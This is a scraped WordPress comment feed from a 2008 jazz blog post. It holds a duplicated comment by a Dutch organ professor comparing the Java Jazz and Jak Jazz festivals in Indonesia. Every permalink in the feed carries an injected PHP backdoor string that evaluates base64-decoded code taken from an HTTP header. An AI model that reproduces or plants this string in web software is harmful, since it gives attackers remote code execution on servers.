Comments on: Java Jazz Festival 2008 : Awesome! http://kurniawansantoso.com/2008/03/16/java-jazz-festival-2008-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Its all about Key Account Management Thu, 29 Jul 2010 22:54:40 +0000 http://wordpress.org/?v=2.3.3 By: John Hondorp http://kurniawansantoso.com/2008/03/16/java-jazz-festival-2008-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3 John Hondorp Wed, 19 Mar 2008 09:28:29 +0000 http://kurniawansantoso.com/2008/03/16/java-jazz-festival-2008-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3 Hi! I totally agree that it's great to see so many jazz lovers in Indonesia. I have experienced things from the other side, from the stages of both Java Jazz and Jak Jazz 2007. Java Jazz is big, but it is definitely not the biggest event in the world. Led by Peter Gontha but programmed by dutch former North Sea Jazz Festival programmer Paul Dankmeyer, Java Jazz has the same format as the NSJF, which is the biggest, indoor Jazz Festival. I loved them both, because both festivals have their own flow, their own atmosphere. At times I felt a bit lost at Java Jazz, not knowing where to go or where to be, and not having the idea that organisation staff knew any better than me. At Jak Jazz things are uncomparibly smaller, but therefore perfectly organized. I liked the intimacy of it. Besides those two festivals, I taught at the DAYA institute in Jakarta and at UPH in Karawaci which I enjoyed very much (being a conservatory techer in Holland for 20 years). I long to come back, but finding funds to do so is hard. Any tips in this field would be very welcome, maybe I could get you a private concert in reward... Thanks for the enthousiasm on jazz. It keeps us connected. John Hondorp Professor for Hammond Organ Jazz ArtEZ School of the Arts, Enschede, Netherlands Hi! I totally agree that it’s great to see so many jazz lovers in Indonesia. I have experienced things from the other side, from the stages of both Java Jazz and Jak Jazz 2007. Java Jazz is big, but it is definitely not the biggest event in the world. Led by Peter Gontha but programmed by dutch former North Sea Jazz Festival programmer Paul Dankmeyer, Java Jazz has the same format as the NSJF, which is the biggest, indoor Jazz Festival. I loved them both, because both festivals have their own flow, their own atmosphere. At times I felt a bit lost at Java Jazz, not knowing where to go or where to be, and not having the idea that organisation staff knew any better than me. At Jak Jazz things are uncomparibly smaller, but therefore perfectly organized. I liked the intimacy of it.
Besides those two festivals, I taught at the DAYA institute in Jakarta and at UPH in Karawaci which I enjoyed very much (being a conservatory techer in Holland for 20 years). I long to come back, but finding funds to do so is hard.
Any tips in this field would be very welcome, maybe I could get you a private concert in reward…
Thanks for the enthousiasm on jazz.
It keeps us connected.

John Hondorp
Professor for Hammond Organ Jazz
ArtEZ School of the Arts, Enschede, Netherlands

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